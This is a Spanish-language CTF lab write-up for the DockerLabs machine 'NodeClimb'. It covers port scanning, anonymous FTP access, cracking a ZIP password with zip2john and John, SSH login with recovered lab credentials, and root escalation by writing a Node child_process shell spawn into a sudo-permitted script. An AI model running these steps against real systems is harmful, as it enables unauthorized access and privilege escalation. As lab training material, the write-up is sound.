> For the complete documentation index, see [llms.txt](https://1gnotus.gitbook.io/ignotus_pwn/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://1gnotus.gitbook.io/ignotus_pwn/dockerlabs/writeup/maquina-nodeclimb-ftp-anonymous-zip2john-privesc-binario-node.md).

# MAQUINA NODECLIMB (FTP anonymous - zip2john - PrivEsc 'binario NODE')

Enumere de puertos, servicios y versiones.

```
nmap -p- --open --min-rate 2000 -n -Pn -sS 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 09:52 -03
Nmap scan report for 172.17.0.2
Host is up (0.0000060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

```
nmap -p22,21 -sCV 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 09:54 -03
Nmap scan report for realgob.dl (172.17.0.2)
Host is up (0.00010s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             242 Jul 05  2024 secretitopicaron.zip
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 cd:1f:3b:2d:c4:0b:99:03:e6:a3:5c:26:f5:4b:47:ae (ECDSA)
|_  256 a0:d4:92:f6:9b:db:12:2b:77:b6:b1:58:e0:70:56:f0 (ED25519)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

El servicio FTP tiene acceso como anonymous, a su ves posee un archivo .zip interesante.

```
ftp <ip>
login: anonymous
password: anonymous o enter
```

Con "get" descargo el archivo ZIP, luego para descomprimirlo con "7z" (comando: 7z x archivo.zip) este me solicita un password el cual no se cual es.

Para estos casos use la herramienta zip2john para obtener el hash de la contraseña y luego con john the ripper romper dicho hash.

```
zip2john archivo.zip > hash
```

Mediante john obtuve la contraseña, luego descomprimí el archivo ZIP y me devolvió un archivo llamado password.txt donde almacena unas credenciales

```
mario:laKontraseñAmasmalotaHdelbarrioH
```

Como tengo el puerto 22 open, con estas credenciales ingrese a la maquina.

Una ves logueado revise información del sistema, y en la carpeta /home/mario al listar su contenido vi que tengo acceso al .bash\_history donde dentro contiene algunos comandos ya utilizados.

Se esta ejecutando un sudo -l y a su vez se ejecuta el siguiente comando usando "NODE".

```
sudo -l
/usr/bin/node
sudo /usr/bin/node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
```

Qué hace exactamente?

* sudo: lo ejecutas con privilegios.
* /usr/bin/node: usas Node.js.
* -e '...': ejecutas una línea de código inline.
* require("child\_process").spawn(...): crea un nuevo proceso (en este caso, `/bin/sh`) con entrada/salida conectadas al terminal.

Que es /usr/bin/node?

El binario `/usr/bin/node` ==es el ejecutable principal del entorno de ejecución Node.js==. Es el archivo que se utiliza para ejecutar código JavaScript en el servidor, permitiendo a los desarrolladores construir aplicaciones web, herramientas de línea de comandos, y más, utilizando JavaScript fuera del navegador. En esencia, es la herramienta que traduce y ejecuta el código JavaScript en un entorno no-navegador

Use el comando sudo -l y me devolvió lo siguiente:

```
(ALL) NOPASSWD: /usr/bin/node /home/mario/script.js
```

Significa que el usuario mario puede ejecutar ese script específico (`/home/mario/script.js`) utilizando sudo, sin que se le pida la contraseña, y puede hacerlo **como cualquier usuario** (generalmente root), porque:

`(ALL)` → Aplica a **todos los usuarios** del sistema como objetivo (`root` incluido).

`NOPASSWD:` → No necesita ingresar su contraseña al ejecutar ese comando vía `sudo`.

`/usr/bin/node /home/mario/script.js` → Específicamente permite ejecutar solo ese comando exacto con `sudo`.

Como Mario tengo permisos de escritura en el archivo script.js, para explotar esto lo que hice fue tomar el comando que se encuentra en el Historial, agregarlo al script.js y por ultimo ejecutarlo como root.

```
mario@679b03864eab:~$ echo 'require("child_process").spawn("/bin/bash", {stdio: "inherit"});' > /home/mario/script.js

mario@679b03864eab:~$ cat script.js 
require("child_process").spawn("/bin/bash", {stdio: "inherit"});

mario@679b03864eab:~$ sudo -u root /usr/bin/node /home/mario/script.js

root@679b03864eab:/home/mario# whoami
root
```
